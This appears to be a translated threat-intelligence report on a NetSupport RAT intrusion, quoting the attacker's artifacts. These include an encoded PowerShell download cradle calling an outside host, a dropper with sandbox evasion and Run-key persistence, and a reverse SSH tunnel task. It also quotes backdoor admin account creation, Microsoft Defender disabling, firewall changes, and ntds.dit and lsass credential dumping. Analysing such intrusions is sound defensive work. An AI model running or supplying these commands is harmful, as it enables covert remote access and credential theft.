"C:\Windows\System32\cmd.exe" /c PowersheLl -nop -w hidden -ep bypaSS -enC SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQBvAHQAYQBsAC4AYwBvAG0ALwBpAG4AZABlAHgALwBpAG4AZABlAHgALgBwAGgAcAAiACkA

# Get Script Filename${ScriptPath} = Split-Path -parent ${MyInvocation}.MyCommand.Definition
# Check Script Filename Agianst a Blacklistif (${ScriptPath} -match "avast") {exit}if (${ScriptPath} -match "avg")      {exit}if (${ScriptPath} -match "sample")   {exit}if (${ScriptPath} -match "analysis") {exit}if (${ScriptPath} -match "malware")  {exit}if (${ScriptPath} -match "sandbox")  {exit}if (${ScriptPath} -match "virus")    {exit}# Wrapper Function around Convert-StringToBinaryfunction React (${Source}, ${Destination}){    Convert-StringToBinary -InputString ${Source} -FilePath ${Destination};}
# Write a Base64 Encoded String to Diskfunction Convert-StringToBinary (${InputString}, ${FilePath}){    ${file}= ${InputString}
    ${Data} =  [System.Convert]::FromBase64String(${file})    ${MemoryStream} = New-Object "System.IO.MemoryStream"    ${MemoryStream}.Write(${Data}, 0, ${Data}."Length")    ${MemoryStream}.Seek(0,0) | Out-Null
    ${DecompressedStream} = New-Object System.IO.Compression.GZipStream(${MemoryStream}, [System.IO.Compression.CompressionMode]::Decompress)    ${StreamReader} = New-Object System.IO.StreamReader(${DecompressedStream})    ${t} = ${StreamReader}.ReadToEnd()
    ${ByteArray} =  [System.Convert]::FromBase64String(${t});    [System.IO.File]::WriteAllBytes(${FilePath}, ${ByteArray});}
# The Install Function is invoked at the end of the script and will have the main execution logic.function Install{    # Registry Path Variables for Persistence, these are written to towards the end of the script.    [string] ${reg_key} = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"    [string] ${reg_name} = "SoftwareUpdater"
    # Embedded File Variables    ${File1} = Gzip Compressed and Base64 Encoded presentationhost.exe    ${File2} = Gzip Compressed and Base64 Encoded client32.ini # NetSupport client configuration    ${File3} = Gzip Compressed and Base64 Encoded HTCTL32.DLL # Dependency DLL    ${File4} = Gzip Compressed and Base64 Encoded msvcr100.dll # Dependency DLL    ${File5} = Gzip Compressed and Base64 Encoded nskbfltr.inf # NetSupport component file    ${File6} = Gzip Compressed and Base64 Encoded NSM.ini # NetSupport component file which tells the installer which components to install    ${File7} = Gzip Compressed and Base64 Encoded NSM.lic # NetSupport license information file    ${File8} = Gzip Compressed and Base64 Encoded pcicapi.dll # Dependency DLL    ${File9} = Gzip Compressed and Base64 Encoded PCICHEK.DLL # Dependency DLL    ${File10} = Gzip Compressed and Base64 Encoded PCICL32.DLL # Dependency DLL    ${File11} = Gzip Compressed and Base64 Encoded remcmdstub.exe    ${File12} = Gzip Compressed and Base64 Encoded TCCTL32.DLL # Dependency DLL
    # Generate Random Folder Name with 8 alphanumeric characters    ${RandF}=( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count 8 | &('%') {[char]${_}}) )    ${FPath} ="$env:appdata\$Randf"    mkdir ${FPath}
    [string] ${ClientName} = "presentationhost.exe"    [string] ${remcmdstub} = "remcmdstub.exe"
    React -source ${File1} -destination "$FPath\"+"$ClientName"    React -source ${File2} -destination "$fpath\client32.ini"    React -source ${File3} -destination "$fpath\HTCTL32.DLL"    React -source ${File4} -destination "$fpath\msvcr100.dll"    React -source ${File5} -destination "$fpath\nskbfltr.inf"    React -source ${File6} -destination "$fpath\NSM.ini"    React -source ${File7} -destination "$fpath\NSM.lic"    React -source ${File8} -destination "$fpath\pcicapi.dll"    React -source ${File9} -destination "$fpath\PCICHEK.DLL"    React -source ${File10} -destination "$fpath\PCICL32.DLL"    React -source ${File11} -destination "$fpath\$remcmdstub"    React -source ${File12} -destination "$fpath\TCCTL32.DLL"
    # Establish Persistance in Run Key    New-ItemProperty -Path "$reg_key" -Name "$reg_name" -Value "$fpath\$clientname"  -PropertyType "String"
    # Start NetSupport    Start-Process "$fpath\$clientname"
    # Remove Files    ${F}= Get-Content "$env:temp\insghha4.txt"    Remove-Item $env:TEMP\*.ps1    Remove-Item ${F}}
############################################################# Begin Execution Here By Invoking the Install Function #############################################################Install

在入侵的开始阶段，NetSupport 部署脚本用于使用用户注册表配置单元下的 Run Key来维持权限。 有关更多详细信息，请参阅代码执行部分。

schtasks.exe /create /sc minute /mo 1 /tn "SSH Server" /rl highest /tr "C:\ProgramData\sshd\sshd.exe -f C:\ProgramData\sshd\config\sshd_config"

schtasks.exe /create /sc minute /mo 1 /tn "SSH Key Exchange" /rl highest /tr "C:\ProgramData\sshd\ssh.exe -i C:\ProgramData\sshd\config\keys\id_rsa -N -R 369:127.0.0.1:2222 [email protected] -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15"

net  user WDAGUtilityAccount2 Decryptme1488@ /addnet  localgroup Administrators WDAGUtilityAccount2 /addnet  localgroup "Remote Desktop Users" WDAGUtilityAccount2 /add

@%COMSPEC% /C "net user localend Decryptme7 /add"

在这次入侵期间，攻击者主要关注的是逃避 Microsoft Defender 的检测。 在整个入侵过程中可以多次看到这种情况，攻击者在执行凭据收集或横向移动操作后使用 powershell Get-MpThreat检查来自 Defender 的历史警报。

在入侵期间，我们观察到攻击者多次尝试添加排除项，并最终尝试使用以下命令禁用本地 Defender。 攻击者在命令执行过程中犯了几个拼写错误，表明是动手操作而不是照本宣科。

powershell  Get-MpThreatpowershell  Get-MpPreferencepowershell  Add-MpPreference -ExclustionPath c:\users\publicpowershell  Add-MpPreference -ExclusionPath c:\users\publicpowershell  Add-MpPreference -ExclusionProcess c:\users\public\mpms.exepowershell  Add-MpPreference -DisableBehaviourMonitoring Truepowershell  Add-MpPreference -DisableBehaviorMonitoring Truepowershell  Add-MpPreference -DisDisableRealtimeMonitoring True

上述命令的 mpms 可执行文件是重命名的 ProcDump 二进制文件。 它被重命名可能是为了规避基于文件名的检测。

经过一番操作后，攻击者进入了 Microsoft Defender 软件的“Scans”目录，该目录位于：

C:\ProgramData\Microsoft\Windows Defender\Scans\History\

除了检查 Windows Defender 历史扫描文件外，威胁参与者还再次使用 Get-MpThreat Cmdlet 查询 Windows Defender 检测到的威胁的历史记录。

在入侵过程中，威胁行为者严重依赖工具包 Impacket（尤其是 atexec.py 和 wmiexec）。 为了正常运行某些功能，在实际执行 atexec.py 和 wmiexec 之前修改了基于主机的防火墙：

cmd.exe /C netsh advfirewall firewall add rule dir=in name="DCOM" program=C:\Windows\system32\svchost.exe service=rpcss action=allow protocol=TCP localport=135 > C:\Windows\Temp\VlPWyecW.tmp 2>&1cmd.exe /C netsh advfirewall firewall add rule dir=in name="DCOM" program=C:\Windows\system32\svchost.exe service=rpcss action=allow protocol=TCP localport=135 > C:\Windows\Temp\pOrnerOW.tmp 2>&1cmd.exe /C netsh advfirewall firewall add rule dir=in name ="WMI" program=C:\Windows\system32\svchost.exe service=winmgmt action = allow protocol=TCP localport=any > C:\Windows\Temp\XsssmLZZ.tmp 2>&1cmd.exe /C netsh advfirewall firewall add rule dir=in name ="UnsecApp" program=C:\Windows\system32\wbem\unsecapp.exe action=allow > C:\Windows\Temp\HaALurWi.tmp 2>&1cmd.exe /C netsh advfirewall firewall add rule dir=out name ="WMI_OUT" program=C:\Windows\system32\svchost.exe service=winmgmt action=allow protocol=TCP localport=any > C:\Windows\Temp\WkiMfXXo.tmp 2>&1

在入侵过程中，攻击者多次利用内嵌文件 (.cab)。 这些是存档文件，支持无损数据压缩。 它们主要用于分发设备驱动程序和系统文件。 然而，在这种情况下，攻击者使用与传统 .zip 存档类似的功能，并将其内容存储在 programdata 目录下。

cmd.exe /Q /c expand cache.cab -F:* c:\programdata

解压后，我们发现了一个伪装成Windows组件的NetSupport可执行文件。 可执行文件名为mswow86.exe。 攻击者创建了一个计划任务来在每次登录时运行它。

cmd.exe /Q /c start "" %%programdata%%\schcache\mswow86.execmd.exe /Q /c schtasks.exe /create /sc onlogon /tn "Wow64 Subsystem" /rl highest /tr "%%programdata%%\schcache\mswow86.exe

所有的文件命名都在意图伪装成正常的系统应用。

我们观察到攻击者两个不同的域控制器上使用批处理脚本将 ntds.dit 数据库转储，关于命令的解释请参考：https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration

powershell.exe  "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\users\public\ntds' q q"powershell.exe  "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\ProgramData\ntdsutil' q q"

如防御规避部分所示，攻击者使用了 Sysinternals 工具 ProcDump。攻击者执行find命令来识别 lsass.exe 进程的 PID。 这使他们能够定位正确的进程来转储 lsass：

虽然看起来这不起作用，因为 find 命令没有查找目标，但攻击者很可能通过管道将tasklist连接在一起，因为我们同时看到了tasklist的执行：

这可能是执行类似以下内容的结果 (tasklist | find /i "lsas" )：

使用重命名的 ProcDump 实用程序，攻击者转储了 lsass.exe 进程内存，该进程可用于获取更多凭据信息：

mpms.exe  -accepteula -ma 632mpms.exe  -accepteula -ma 716